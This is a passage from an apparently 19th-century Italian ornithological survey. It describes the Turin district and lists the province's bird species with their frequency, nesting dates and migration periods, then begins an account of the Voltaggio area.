cyaneus. Circus cineraceus. Circaëtus gallicus. Haliaëtus Albicilla. Aquila pomarina. Archibuteo lagopus. Cerchneis Naumanni. Gypaëtus barbatus. Phalacrocorax Carbo. Microcarbo pygmæus. Egretta alba. Egretta Garzetta. Platalea Leucorodia. Cygnus musicus. Fulix Fuligula. Mergus Merganser. Fulica atra. Otis Tarda. Otis Tetrax. Himantopus candidus. Pelidna subarquata. Actodromas minuta. Totanus stagnatilis. Totanus fuscus. Limosa rufa. Thalasseus cantiacus. Chroocephalus minutus. Rissa tridactyla. Stercorarius pomatorhinus. Stercorarius crepidatus. Stercorarius parasiticus. Puffinus Kuhli. Colymbus glacialis. Colymbus septentrionalis. Podiceps cristatus. Podiceps nigricollis. Queste comparse avventizie nella provincia possono essere cagionate da improvvise bufere, come pure da rigidi inverni. Gli uccelli rimontando il corso dei fiumi arrivano fino a noi e si fermano lungo le abbondanti sorgenti che esistono in queste località e che non sono mai gelate neanche coi più grandi freddi. Torino (Gasca Luigi, Pezzi Luigi, Martorelli prof. Giacinto, Bainotti Carlo): Il distretto da me osservato, e nel quale durante il periodo di oltre 25 anni, ho fatto la maggior parte delle mie caccie, trovasi posto in uno dei punti più centrali del Piemonte. Il terreno è molto fertile ed è coltivato per la maggior parte a prati ed a campi. I boschi più notevoli sono quelli di Caramagna, dei Correnti, di Santa Cristina, di Casanova e delle Cascinette, questi ultimi lungo il torrente Stura. Vi si trovano pure cosparse numerose boschaglie di acacie e particolarmente lungo il Po. Moltissimi poi sono i boschi, e cedui e di alto fusto, che si incontrano sulla collina, che, posta a levante, a brevissima distanza da Torino, si prolunga nel distretto esaminato fino a Gassino verso il nord e fino a Moncalieri verso il sud. A ragguardevole distanza dai suoi confini, più sotto indicati; è cinto ad O. ed a N. dalle Alpi e al S. dai colli prealpini sino all’Appennino Ligure; si apre ad E. ai primi raggi del sole. Trovasi a 250 metri circa dal livello del mare. È bagnato dal fiume Po, e parzialmente dai torrenti Dora Riparia e Stura, non che da altri piccoli fiumi e torrentelli di minore importanza. Vere paludi e laghi non ve ne sono, ma bensì qualche piccolo stagno. Comprende un buon tratto della provincia di Torino, e confina al S. coi comuni di Caramagna, Racconigi e Sommariva Perno, all’O. coi comuni di Grugliano e Collegno, al N. coi comuni di Leyni e Brandizzo, ed all’E. con quelli di Gassino e Chieri, percorrendo il versante a levante della collina fino a Moncalieri. Misura, approssimativamente, in lunghezza, dal nord al sud, chilometri sessanta, ed in larghezza, dall'est all'ovest, chilometri venti. (Gasca). Il distretto da me percorso include la perimetria intorno a Torino, cioè: lungo il Po da Carignano a Brandizzo, indi il territorio compreso nella linea di circonvallazione avente per limite Carignano, Vinovo, Orbassano, Collegno, Venaria Reale, Caselle, Settimo Torinese, Brandizzo e la Collina di Torino. Boschiva a pioppi, salici ed acacie la regione lambita dal Po, specialmente la sponda sinistra; boschive le due sponde della Stura, popolate di quercie, pioppi, acacie, salici, ecc. Boschi estesi di quercia, specialmente tra Brandizzo a Caselle. Coltivata a campi e prati (eccettuatoone i dintorni di Stupinigi, ove esiste la bandita reale, che è per lo più boschiva), tutta la regione a mezzogiorno, a ponente ed a nord di Torino, con pochi gerbidi in vicinanza della Stura, lungo il Po, e tra Volpiano e Settimo. Infine coltivata la collina a vigneti per buona parte ed a boschi cedui di quercie e castagni la regione interna di essa. Va poi menzionata la regione in vicinanza di Carignano (verso il Po) come quella che più spesso fornisce specie di uccelli da riva ed acquatici non tanto frequenti. (Pezzi). La provincia di Torino comprende una vasta estensione di pianura sulla quale scorrono abbondanti le acque versate dai colossi alpini d'ogni parte, e qua e là si allargano in praterie cui rendono acquitrinosse e si trattengono in alcune depressioni che convertono in stagni. Coi prati si alternano i campi, e in taluni punti rimangono folti boschi. Sulla riva destra del Po è pure notevole per l'ornitologo la Collina Torinese, lieta di viguetti, di fresche boscaglie, che si estende sino al Monferrato e si connette pure cogli ameni poggi astigiani. Sulla riva sinistra, a poca distanza dalle acque del fiume, sorgono le Alpi Graje e Cozie, dimora prediletta di moltissimi uccelli in estate, ostacolo che moltissimi altri debbono vincere nei loro viaggi, e barriera insuperabile per alcuni. Per tal modo la provincia di Torino si presenta opportuna allo studioso degli uccelli più di tante altre dell'Italia settentrionale, come dalle osservazioni particolari che già si hanno riescirà evidente. (Martorelli). Elenco generale delle specie di uccelli osservate nella provincia di Torino, con indicazioni di frequenza, ecc. Corvus Corax, osservato una volta in Valle di Viu (M).¹ Corvus Corone, sedentaria abbondante (G. M.). Corvus Cornix, comune (G. M.). Corvus frugilegus, frequente d'inverno (G. M.). Lycos Monedula, accidentale G. P.). Nucifraga Caryocatactes, non comune (M.). Pica rustica, abbondante (G. P. M.). Garrulus glandarius, frequente (G. P. M.). Pyrrhocorax alpinus, scarso al piano (G.), comune e sedentario sulle Alpi (M.). Pyrrhocorax Graculus, sulle Alpi, meno numerosa della precedente (M.). Sturnus vulgaris, frequente, sedentario (G. M.). Pastor roseus, accidentale (G. M.). Fringilla coelebs, frequente, sedentario (G. P. M.). Fringilla Montifringilla; comune d'autunno (G. M.). Montifringilla nivalis, non comune (M.). Petronia stulta, scarsa (G. M.). Passer montanus, abbondante (G. P. M.). Passer Italiae, frequente (G. M.). Coccothraustes vulgaris, frequente (G. M.). ¹ Ho indicato collo iniziali i nomi dei collaboratori che hanno fornito la notizia. Ligurinus Chloris, frequente (G., P., M.). Chloroptila Citrinella, scarso (G.). Chrysomitris Spinus, comune (G., M.). Carduelis elegans, frequente (G., P., M.). Serinus hortulanus, non comune, estivo (B.). Cannabina Linota, frequente (G., M.). Ægiothus Linarius, assai scarso (G., M.). Pyrrhula europæa, non raro (G., M.). Loxia Curvirostra, accidentale (G., M.). Euspiza melanocephala, veduto una volta (G.). Miliaria Projer, frequente (G., P., M.). Emberiza Citrinella, abbondante (G., P., M.). Emberiza Cirlus, piuttosto scarso (G., M.). Emberiza Hortulana, scarso (G.), frequente (M.). Emberiza Cia, scarso (G.), piuttosto frequente (M.). Emberiza pusilla, accidentale (G., P.). Emberiza Schœniclus, scarso (G.), abbondante (M.). Calcarius nivalis, accidentale (G., P.). Alauda arborea, frequente (G., P.). Alauda arvensis, comune (G., M.). Galerita cristata, scarsa (G., P.), comune (M.). Agrodroma campestris, scarso (G.). Anthus pratensis, frequente (G., M.). Anthus trivialis, scarso (G.), di passo (G., M.). Anthus Spipoletta, frequente di passo (G., M.). Anthus obscurus, accidentale (G.). Budytes flavus, frequente (G.), scarso (M.). Budytes cinereocapillus, abbondante (G., M.). Motacilla alba, frequente (G., P., M.). Calobates melanope, comune e sedentaria (G.). Saxicola Oenanthe, comune estivo (G., M.). Saxicola Stapazina, accidentale (G.). Monticola saxatilis, estiva sui monti (M.). Monticola Cyanus, frequente in estate (M.). Merula nigra, comunissimo (G., P., M.). Merula torquata, abbondante (M.). Turdus obscurus, accidentale (Salvadori). Turdus pilaris, talvolta abbondante (G. M.). Turdus iliacus, piuttosto scarso (G. M.). Turdus musicus, abbondante (G. M.). Turdus viscivorus, abbondante e sedentario (G. M.). Aëdon Luscinia, frequente (G. M.). Erithacus Rubecula, comune (G. P. M.). Cyanecula Wolfi, scarso (G.), non tanto scarso (M.). Cyanecula suecica, non scarso di passo (M.). Ruticilla Phœnicurus, scarso (G.), comune (M.). Ruticilla titys, raro (G.), abbondante ai monti (M.). Pratincola Rubicola, comune (G. M.). Pratincola Rubetra, frequente, estivo (G. M.). Sylvia nisoria, estiva, rara e localizzata (G.). Sylvia orphæa, scarsa (G.). Sylvia cinerea, frequente (G. M.). Sylvia Curruca, scarsa, (G.), piuttosto abbondante (M.). Monachus Atricapillus, frequente (G. P. M.). Monachus hortensis, scarso (G.). Phylloscopus sibilator, poco frequente (G.). Phylloscopus Trochilus, poco frequente (G.). Phylloscopus Bonellii, scarso (G. M.). Phylloscopus rufus, poco frequente (G.). Hypolais polyglotta, localizzato (G.). Acrocephalus palustris, scarsa (G.), piuttosto comune (M.). Acrocephalus streperus, scarsa (G. M.). Acrocephalus arundinaceus, scarso (G.) non raro (M.). Calamodus schœnobœnus, scarso (G.), frequente (M.). Calamodus aquaticus, raro (G.). Locustella naevia, scarso (B.). Troglodytes parvulus, comune (G. M.). Cinclus aquaticus, scarso (G.), piuttosto abbondante (M.). Accentor collaris, molto comune (M.). Accentor modularis, scarsa (G.). Regulus cristatus, frequente (G. M.). Regulus ignicapillus, scarso (G.). Ægithalus pendulinus, non comune (G. M.). Acredula rosea, frequente (G. P. M.). Parus major, abbondante (G. M.). Parus ater, scarsa (G.), non rara (M.). Cyanistes caeruleus, abbondante (G. P. M.). Poecile palustris, frequente (G. P. M.). Lophophanes cristatus, scarsa sulle Alpi (M.). Sitta cæsia, comunissimo (G. P. M.). Certhia brachydactyla, scarso (G. P.) non raro (M.). Tichodroma muraria, sulle Alpi (M.). Oriolus Galbula, frequente, estivo (G. M.). Ampelis Garrulus, accidentale (G.). Lanius Excubitor, scarsa (G.), comune (M.). Lanius minor, frequente (G. M.). Lanius Collurio, comune (G. M.). Lanius auriculatus, frequente (G. M.). Muscicapa Atricapilla, scarsa (G.), comune (M.). Butalis Grisola, frequente (G.). Hirundo rustica, frequente (G. M.). Chelidon urbica, frequente (G. M.). Clivicola riparia, frequente (G. M.). Cotile rupestris, sulle Alpi (M.). Cypselus Apus, frequente (G. M.). Cypselus Melba, scarso (G.). Caprimulgus europaeus, scarso (G.). Picus major, abbondante (G. M. P.). Picus Lilfordi, uno a Pinerolo (Marchisio). Picus minor, raro (G. M.). Gecinus viridis, abbondante (G. P. M.). lynx Torquilla, comune (G. M.). Cuculus canorus, frequente (G. M.). Alcedo Ispida, comune (G. P. M.). Coracias Garrula, accidentale (G.). Merops Apiaster, accidentale (G. B.). Upupa Epop, frequente (G. M.). Strix flammea, comune (G. P. M.). Syrnium Aluco, poco frequente (G. M.). Asio Otus, poco frequente (G. M.). Asio accipitrinus, poco frequente (G.). Athene Noctua, frequente (G. P. M.). Scops Giu, comune in estate (G. M.). Bubo maximus, non comune (G.), piuttosto comune (M.). Circus cyaneus, accidentale (B.). Circaëtus gallicus, raro (P.). Haliaëtus Albicilla, scarsa (P. M.). Aquila Chrysaëtus, non rara (M.). Aquila clanga, scarsa (M.). Aquila pomarina, accidentale (Salvadori, M.). Archibuteo lagopus, accidentale (G.). Buteo vulgaris, frequente (G. P. M.). Pernis apivorus, poco frequente (G.). Milvus migrans, accidentale (B.). Falco Peregrinus, accidentale (G.). Hypotriorchis Subbuteo, poco comune (G. M.). Æsalon regulus, poco frequente (G. M.). Cerchnais Tinnunculus, molto comune (G. P. M.). Cerchnais Naumannni, accidentale (P.). Cerchnais vespertinus, accidentale (G.). Astur palumbarius, scarso (P.). Accipiter Nisus, frequente (G. P. M.). Pelecanus Onocrotalus, accidentale (G.). Ardea cinerea, frequente (G. P. M.). Ardea purpurea, frequente (G. M.). Ardeola ralloides, frequente (G.). Ardetta minuta, frequente (G. P. M.). Botaurus stellaris, frequente (G. M.). Nycticorax griseus, scarso (M. B.). Plegadis Falcinellus, scarso (G.). Bernicla brenta, accidentale (Marchisio). Anser segetum, frequente (G.). Dendrocygna javanica, accidentale (G.). Anas Boscas, frequente (G. P. M.). Spatula clypeata, scarso (G.), frequente (M.). Dafila acuta, frequente (G. M.). Mareca Penelope, frequente (G. M.). Nettion Crecca, comune (G. M.). Querquedula Circia, frequente (G. M.). Fulix Fuligula, frequente (G.). Bucephala Clangula, scarso (P.). Mergus Serrator, scarso (G.). Mergellus Albellus, scarsa (G.). Columba Palumbus, comune (G. M.). Columba Oenas, abbondante (G. M.). Columba livia, non raro (M.). Turtur tenera, frequente (G. M.). Perdix saxatilis, comune sulle Alpi (M.). Starna Perdix, frequente (G. P. M.). Coturnix communis, frequente (G. M.). Lyrurus Tetrix, comune sulle Alpi (M.). Lagopus mutus, comune sulle Alpi (M.). Rallus aquaticus, frequente (G. M.). Ortygometra Porzana, frequente (G. M.). Ortygometra Bailloni, frequente (G. M.). Ortygometra parva, frequente (G. M.). Crex pratensis, frequente (G. M.). Gallinula chloropus, frequente (G. M.). Fulica atra, frequente (G. M.). Grus communis, accidentale (G.), comune (M.). Otis Tarda, accidentale (G.). Cedicemus scolopax, comune (G. M.). Charadrius Pluvialis, frequente (G. M.). Eudromias Morinellus, accidentale (M.). Aegialitis curonica, frequente (G. M.). Aegialitis Hiaticula, scarso (G.). Vanellus Capella, frequente (G. M.). Recurvirostra Avocetta, scarsa (G.). Himantopus candidus, scarso (G. B.). Limicola platyrhyncha, scarso (G.). Pelidna subarquata, abbondante (G.). Actodromas minuta, frequente (G.). Machetes Pugnax, comune (M.). Tringoïdes Hypoleucus, comune (G. M.). Totanus Ochropus, comune (G. P. M.). Totanus Glareola, scarso (B. G. M.). Totanus Calidris, scarsa (G. M.). Scolopax Rusticula, frequente (G. M.). Gallinago major, comune (G. M.). Gallinago caelestis, frequente (G. M.). Gallinago Gallinula, frequente (G. M.). Numenius Arquata, non abbondante (G. M.). Numenius tenuirostris, accidentale (G.). Sterna fluviatilis, frequente (G. M.). Sternula minuta, piuttosto comune (G. M.). Hydrochelidon hybrida, molto scarso (G.). Hydrochelidon leucoptera, frequente (G.). Hydrochelidon nigra, frequente (G.), non comune (M.). Chroocephalus minutus, accidentale (G.). Chroocephalus ridibundus, frequente (G. M.). Larus canus, raro (P. M.). Larus cachinnans, scarso (M.). Stercorarius crepidatus, accidentale (P.). Colymbus arcticus, accidentale (G.). Podiceps cristatus, scarso (M.). Podiceps nigricollis, accidentale (M.). Podiceps fluviatilis, frequente (G. P. M.). Elenco delle specie di uccelli che sono sedentarie nella provincia di Torino. Corvus Corax, (M.). Corvus Corone, (M.). Corvus Cornix, (G. M.). Nucifraga Caryocatactes, (M.). Pica rustica, (G. P. M.). Garrulus glandarius, (G. P. M.). Pyrrhocorax alpinus, (M.). Pyrrhocorax Graculus, (M.). Sturnus vulgaris, (G. M.). Fringilla coelebs, (G. P. M.). Montifringilla nivalis, (M.). Passer montanus, (G. P. M.). Passer Italiæ, (G. M.). Coccothraustes vulgaris, (G.). Ligurinus Chloris, (G. P. M.). Carduelis elegans, (G. P. M.). Miliaria Projer, (G. P. M.). Emberiza Citrinella, (G. P. M.). Alauda arborea, (P.). Alauda arvensis, (G.). Galerita cristata, (G. P. M.). Motacilla alba, (G. P. M.). Calobates melanope, (G.). Merula nigra, (G. P. M.). Turdus viscivorus, (G. M.). Erithacus Rubecula, (G. M. P.). Pratincola Rubicola, (G. M.). Monachus Atricapillus, (G. P. M.). Troglodytes parvulus, (G. M.). Cinclus aquaticus, (M.). Accentor collaris, (M.). Regulus cristatus, (G. M.). Acredula rosea, (G. P. M.). Parus major, (G. M.). Parus ater, (M.). Cyanistes caeruleus, (G. P. M.). Pœcile palustris, (P.). Sitta cæsia, (G. P. M.). Certhia brachydactyla, (G. P. M.). Tichodroma muraria, (M.). Picus major, (G. P. M.). Gecinus viridis, (G. P. M.). Alcedo Ispida, (G. P. M.). Strix flammea, (G. P. M.). Athene Noctua, (G. P. M.). Aquila Chrysaëtus, (M.). Buteo vulgaris, (G. P. M.). Cerchneis Tinnunculus, (G. P. M.). Accipiter Nisus, (G. P. M.). Anas Boscas, (G. P. M.). Nettion Crecca, (G. M.). Columba Palumbus, (G. M.). Columba Oenas, (G. M.). Perdix saxatilis, (M.). Starna Perdix, (G. P. M.). Lyrurus Tetrix, (M.). Lagopus mutus, (M.). Rallus aquaticus, (G. M.). Gallinula chloropus, (G.). Fulica atra, (G. M.). Totanus Ochropus, (G.). Scolopax Rusticula, (G.). Podiceps fluvialis, (G. P. M.). Elenco delle specie di uccelli le quali nidificano nella provincia di Torino, con notizie in proposito. Corvus Corone, valle di Gressonay (M.). Pica rustica, primi marzo, ova 4 o 5 (G.). Garrulus glandarius, metà aprile, ova 4 o 5 (G.). Sturnus vulgaris, metà marzo, ova 4 o 5 (G.). Fringilla coelebs, fine aprile, ova 5 (G. P.). Passer montanus, metà aprile e giugno, ova 5 a 6 (G. P.). Passer Italiæ, fine aprile e giugno, ova 5 o 6 (G. P.). Coccothraustes vulgaris, fine maggio (G. P.). Ligurinus Chloris, fine aprile, ova 4 o 5 (G. P.). Carduelis elegans, maggio, ova 4 o 5 (G. P.). Serinus hortulanus, maggio (B.). Miliaria Projer, aprile, ova 5 o 6 (G. P.). Emberiza Citrinella, maggio, ova 4 o 5 (G. P.). Emberiza Hortulana, qualche coppia (G. P.). Alauda arborea, fine marzo, ova 4 o 5 (G. P.). Alauda arvensis, fine marzo, ova 4 o 5 (G. P.). Galerita cristata, aprile, ova 4 o 5 (G. P.). Budytes flavus, metà aprile, due covate, ova 5 o 6 (G.). Budytes cinereocapillus, aprile, due covate, ova 5 o 6 (G. P.). Motacilla alba, metà aprile, due covate, ova 4 o 5 (G. P.). Calobates melanope, marzo, due covate, ova 6 (G. P.). Saxicola Oenanthe, sulle Alpi e colli (M.). Monticola saxatilis, sui monti (M.). Monticola Cyanus, sui monti (M.). Merula nigra, aprile e fine giugno, ova 4 o 5 (G. P.). Turdus viscivorus, febbraio, marzo e maggio, ova 5 (G. P.). Aëdon Luscinia, metà maggio, due covate, ova 5 (G. P.). Erithacus Rubecula, in collina fine aprile, ova 5 o 6 (G.). Ruticilla titys, sulle Alpi (M.). Pratincola Rubicola, primi aprile, ova 5 o 6 (G. P.). Pratincola Rubetra, maggio (M.). Sylvia nisoria, fine maggio, una covata, ova 5 (G. P.). Sylvia orpheæ, maggio, ova 4 o 5 (G. P.). Sylvia cinerea, primi maggio, ova 4 o 5 (G. P.). Monachus Atricapillus, aprile, ova 4 o 5 (G. P.). Phylloscopus Trochilus, maggio (P.). Hypolais polyglotta, fine maggio, ova 5 (G. P.). Acrocephalus palustris, fine maggio (G. P.). Acrocephalus streperus, fine maggio (P.). Acrocephalus arundinaceus, fine maggio, ova 5 (G. P.). Calamodus schœnobœnus, maggio ova 5 (G. P.). Troglodytes parvulus, in collina fine aprile, ova 6 o 7 (G. P.). Accentor collaris, ai monti (M.). Ægithalus pendulinus, aprile, ova 7 o 8 (G. P.). Acredula rosea, primi marzo, ova 10 a 14 (G. P.). Parus major, aprile e giugno ova 8 a 16 (G. P.). Cyanistes caeruleus, aprile, ova 7 (G. P.). Poezile palustris, qualche coppia (G. P.). Sitta cæsia, metà aprile, ova 5 a 7 (G. P.). Certhia brachydactyla, primi aprile, ova 6 a 7 (G. P.). Tichodroma muraria, sulle Alpi Graje (M.). Oriolus Galbula, metà maggio, ova 4 o 5 (G.). Lanius minor, maggio, ova 4 o 5 (G. P.). Lanius Collurio, maggio, ova 5 o 6 (G. P.). Lanius auriculatus, maggio, ova 4 o 5 (G. P.). Butalis Grisola, maggio e luglio, ova 4 o 5 (G. P.). Hirundo rustica, primi maggio e fine giugno, ova 5 o 6 (G. P.). Chelidon urbica, primi maggio e fine giugno, ova 5 o 6 (G. P.). Clivicola riparia, aprile e giugno, ova 5 o 6 (G. P.). Cotile rupestris, sulle Alpi (M.). Cypselus Apus, maggio, una covata, ova 4 (G. P.). Caprimulgus europæus, giugno, ova 2 (G. P.). Picus major, aprile, una covata, ova 5 o 6 (G. P.). Gecinus viridis, aprile, una covata, ova 5 o 6 (G. P.). lynx Torquilla, fine aprile, una covata ova 6 (G. P.). Cuculus canorus, un pulcino nel nido di Sylvia cinerea (G.). Alcedo Ispida, 5 o 6 uova (G. P.). Upupa Eops, fine aprile, una covata, ova 6 (G. P.). Strix flammea, fine aprile, una covata, ova 4 o 5 (G. P.). Athene Noctua, aprile, una covata, ova 4 o 5 (G. P.). Scops Giu, maggio, una covata, ova 4 o 5 (G. P.). Aquila Chrysaëtus, sulle Alpi (M.). Buteo vulgaris, maggio (G.). Cerchneis Tinnunculus, maggio, una covata, ova 5 o 6 (G. P.). Accipiter Nisus, maggio, una covata (G.). Ardea cinerea, maggio (P.). Ardetta minuta, giugno (M. P.). Anas Boscas, maggio (P. M.). Nettion Crecca, maggio (M.). Columba Palumbus, primi maggio, ova 2 (G. P.). Turtur tenera, maggio, ova 2 (G. P.). Perdix saxatilis, sulle Alpi (M). Starna Perdix, fine marzo, ova 14 e più (G. P.). Coturnix communis, maggio e luglio, ova 12 a 18 (G. P.). Lyrurus Tetrix, sulle Alpi (M.). Lagopus mutus, sulle Alpi, forse due covate (M.). Rallus aquaticus, maggio (M.). Ortygometra Porzana, maggio e luglio (G.). Crex pratensis, maggio (G. P.). Gallinula chloropus, maggio e luglio (G.). Ædicenmus scolopax, maggio (G. P.). Ægialitis curonica, maggio (G.). Tringoïdes Hypoleucus, maggio (G. P.). Totanus Ochropus, maggio (G. P.). Scolopax Rusticula, casualmente (G.). Gallinago major, possibilmente (G.). Sterna fluviatilis, maggio-giugno (G. P. M.). Sternula minuta, maggio (M.). Podiceps fluviatilis, maggio (G. M. P.). Elenco delle specie di uccelli che sono di passaggio regolare nella provincia di Torino. Specie di passaggio in Primavera. Saxicola Stapazina, aprile (G.). Cyanecula Wolfi, fine marzo primi aprile (P.). Sylvia nisoria, maggio (G.). Phylloscopus sibilator, aprile (P.) e settembre (G.). Hypolais polyglotta, primi maggio (G.). Calamodus aquaticus, fine aprile (G.). Cerchneis vespertinus, maggio (P.). Botaurus stellaris, marzo (G.). Querquedula Circia, marzo (P. G.). Himantopus candidus, fine aprile (G.). Limicola platyrhyncha, primavera (G.). Pelidna subarquata, primavera (G.). Actodromas minuta, primavera (G.). Specie di passaggio in Autunno. Corvus Corone, ottobre (P.) novembre (G.). Corvus Cornix, ottobre (P.) novembre (G.). Corvus frugilegus, ottobre (P.) novembre (G.). Sturnus vulgaris, febbraio (G.). Fringilla Montifringilla, ottobre a gennaio (P.). Petronia stulta, inverno (G.). Chrysomitris Spinus, ottobre (G.). Chloroptila Citrinella, inverno (G.). Pyrrhula europaea, fine ottobre a dicembre (P. G.). Emberiza Citrinella, novembre (G.). Emberiza Cirlus, novembre (G.). Emberiza Cia, fine ottobre (G.). Merula nigra, ottobre (G.). Turdus pilaris, ottobre novembre (P. G.). Turdus iliacus, ottobre novembre (P. G.). Monachus hortensis, agosto-settembre (M.). Cinclus aquaticus, ottobre (P.) novembre (G.). Cyanistes caeruleus, ottobre (G.). Tichodroma muraria, ottobre (P.). Lanius Excubitor, ottobre a gennaio (P. G.). Syrnium Aluco, ottobre (G.). Bubo maximus, ottobre (G.). Asio Otus, settembre a dicembre (P. G.). Asio accipitrinus, settembre a dicembre (P. G.). Pandion Haliaetus, settembre, ottobre (P.). Buteo vulgaris, principio inverno-(G.). Pernis apivorus, settembre, ottobre (P. G.). Hypotriorchis Subbuteo, settembre-ottobre (G.). Æsalon regulus, ottobre (P. G.). Astur palumbarius, settembre a gennaio (P.). Accipiter Nisus, settembre-ottobre (G.). Anser segetum, novembre, dicembre (P. G.). Bucephala Clangula, dicembre (P.). Columba Oenas, fine settembre a metà dicembre (P.). Specie di passaggio in Primavera ed Autunno. Fringilla Montifringilla, (M.) novembre (G.). Coccothraustes vulgaris, (M. G.). Chrysomitrís Spinus, (M.) novembre (G.). Cannabina Linota, (P.) novembre (G.). Pyrrhula europaea, (M.). Emberiza Schœniclus, (P.) autunno (G.). Emberiza Hortulana, (G.). Alauda arvensis, (M. G.). Alauda arborea, primi aprile (G.). Agrodroma campestris, (P.) aprile (G.). Anthus pratensis, (M. P.) primi aprile (G.). Anthus trivialis, (M.) primi aprile (G.). Anthus Spipoletta, (M. P.) fine marzo (G.). Budytes flavus, (M. P.) fine marzo (G.). Budytes cinereocapillus (M.) fine marzo (G.). Motacilla alba, (M.). Saxicola Oenanthe, (M. P.) aprile e settembre (G.). Monticola saxatilis, (M.). Merula torquata, (M.). Turdus pilaris, (M. P.). Turdus iliacus, (M.). Turdus musicus, (M. P.). ottobre (G.). Aëdon Luscinia, (M.) prima metà aprile (G.). Erithacus Rubecula, (M.). Cyanecula Wolfi, (M. G.). Ruticilla Phœnicurus, (M. P. G.). Ruticilla titys, (M.) aprile (G.). Pratincola Rubetra, (M. P. G.). Pratincola Rubicola, primi aprile (G.). Sylvia orphæa, (M.) aprile (G.). Sylvia cinerea, (M.) aprile (G.). Sylvia Curruca, (M.) aprile (G.). Monachus Atricapillus, (M.). Monachus hortensis, aprile e settembre (G.). Phylloscopus Bonellii, (P. G.). Phylloscopus rufus, (P. G.). Phylloscopus Trochilus, (G.). Acrocephalus palustris, (M.) maggio (G.). Acrocephalus streperus, (M.) maggio (G.). Acrocephalus arundinaceus, (M.) aprile (G.). Calamodus schænobœnus, (M.) aprile (G.). Accentor modularis, (M. P. G.). Regulus cristatus, (P. G.). Regulus ignicapillus, (P. G.). Ægithalus pendulinus, (M. G.). Parus ater, (P.) ottobre (G.). Pœcile palustris, (P.) ottobre (G.). Oriolus Galbula, (M.) fine aprile (G.). Lanius minor, (M.) prima metà maggio (G.). Lanius Collurio, (M.) prima metà maggio (G.). Lanius auriculatus, (M.) fine aprile (G.). Muscicapa Atricapilla, (M. P. G.). Butalis Grisola, (M. G.). Hirundo rustica, (M. G.). Chelidon urbica, (M. G.). Clivicola riparia, (M. G.). Cotile rupestris, (M.). Cypselus Apus, (M. G.). Cypselus Melba, (P. G.). Caprimulgus europæus, (M. G.). Ilynx Torquilla, (M.) seconda metà marzo (G.). Coracias Garrula, (P.). Cuculus canorus, (M. G.). Upupa Epop, (M.) prima metà aprile (G.). Scops Giu, (M.) primi aprile (G.). Circaëtus gallicus, (P.). Buteo vulgaris, (P.). Hypotriorchis Subbuteo, (P.). Æsalon regulus, (M.). Accipiter Nisus, (M.). Ardea cinerea, (M. G.). Ardea purpurea, (M. P.) aprile (G.). Ardeola ralloïdes, aprile e settembre (G.). Ardetta minuta, (M.) fine aprile (G.). Nycticorax griseus, (M. P.). Anas Boscas, fine autunno e primavera (G.). Spatula clypeata, (M.). Mareca Penelope, (M. G.). Dafila acuta, (M. G.). Nettion Crecca, fine autunno e primavera (G.). Fulix ferina, (M.). Fulix Fuligula, inverno (G.). Mergus Serrator, inverno (G.). Mergellus Albellus, inverno (G.). Columba Palumbus, (M.) fine febbraio (G.). Columba Oenas, (M.) fine settembre (G.). Turtur tenera, (M.) seconda metà aprile (G.). Coturnix communis, (M.) fine aprile (G.). Rallus aquaticus, (M.) ottobre (G.). Ortygometra Porzana, (M. P. G.). Ortygometra Bailloni, (M. G.). Ortygometra parva, (M. G.). Crex pratensis, (M.) fine aprile (G.). Gallinula chloropus, (M. P. G.). Fulica atra, (M. P.) inverno (G.). Grus communis, (M.). Œdienemus scolopax, (M.) primavera (G). Charadrius Pluvialis, (M.) novembre (G.). Ægialitis curonica, (M.) aprile (G.). Ægialitis Hiaticula, (P.) primi aprile (G.). Vanellus Capella, (M.) novembre (G.). Recurvirostra Avocetta, maggio e settembre (G.). Machetes Pugnax, (M.). Tringoïdes Hypoleucus, (M. P.) marzo (G.). Totanus Glareola, (M.) aprile (G.). Totanus Calidris, (M. P.) aprile (G.). Totanus Ochropus, marzo e ottobre (G.). Scolopax Rusticula, (M. P. G.). Gallinago major, (M.) marzo e ottobre (G.). Gallinago cælestis, (M. P.) settembre e aprile (G.). Gallinago Gallinula, (M.) settembre e aprile (G.). Numenius Arquata, (M. P.) autunno (G.). Sterna fluviatilis, (M. P.) fine aprile (G.). Sternula minuta, (M. P.) fine aprile (G.). Hydrochelidon nigra, (M. P.) fine maggio (G.). Chroocephalus ridibundus, (M. P. G.). Elenco delle specie di uccelli da considerarsi come di apparizione accidentale nella provincia di Torino. Lycos Monedula, (G. P.). Pastor roseus, (G.). Ægiothos Linarius, (G.). Loxia Curvirostra, (G.). Euspiza melanocephala, (G.). Emberiza pusilla, (P.). Calcarius nivalis, (G. P.). Anthus obscurus, (G.). Saxicola Stapazina, (G.). Turdus obscurus, (Salvadori). Calamodus aquaticus, (G.). Locustella nœvia, (B.). Lophophanes cristatus, (M.). Ampelis Garrulus, (G.). Picus Lilfordi, (Marchisio). Picus minor, (G. M.). Coracias Garrula, (G.). Merops Apiaster, (G. B.). Circus cyaneus, (B.). Aquila pomarina, (Salvadori). Archibuteo lagopus, (G.). Milvus migrans, (B.). Falco Peregrinus, (G.). Cerchneis Naumannii, (P.). Cerchneis vespertinus, (G.). Pelecanus Onocrotalus, (G.). Plegadis Falcinellus, (G.). Grus communis, (G.). Otis Tarda, (G.). Numenius tenuirostris, (G.). Hydrochelidon hybrida, (G.). Chroocephalus minutus, (G.). Larus cachinnans, (M.). Stercorarius crepidatus, (P.). Colymbus arcticus, (G.). Podiceps nigricollis, (M.). Alessandria circondario di Voltaggio (Camusso Nicolò): Da circa vent'anni che io m'occupo d'uccelli, ho sempre posto speciale cura allo studio dell'Avifauna della provincia d'Alessandria. Perciò le risposte che io posso fornire ai diversi quesiti della presente inchiesta si riferiscono ad una zona troppo vasta per studi speciali, e pei quali, più che la estensione del terreno osservato, valgono le prolungate e pazienti ricerche dell'ornitologo. Limitai perciò la zona d'osservazione ad una parte del territorio del comune di Voltaggio; territorio da me conosciuto in ogni suo particolare, e battuto per ogni senso da molti anni, e prestantesi in modo squisito alle osservazioni delle quali è caso. Valsemi assai l'aiuto delle note da me tenute esattamente da circa dieci anni, delle prese fatte ad una mia uccelliera sita in una delle località più favorite nel passo autunnale, e moltissimo mi giovarono le indicazioni avute da ucellatori e cacciatori passionatissimi e veritieri; primo fra' quali godo qui ringraziare l'egregio signor dottore Mario Fenelli di Gavi, che con oltre cinquant'anni di attente osservazioni sugli uccelli di questi luoghi (per quanto praticamente e non scientificamente fatte), potè fornirmi preziosissimi dati. Sono confini alla zona da me studiata: le falde dell'Appennino Ligure, e più propriamente il confine segnato fra la provincia di Alessandria e quella di Genova dai monti della Bocchetta a S., il territorio del comune di Carrosio a N., la valle della Scrivia ad E., ed i territorii di Parodi Ligure e di Mornese ad O. Il torrente Lemmo, che 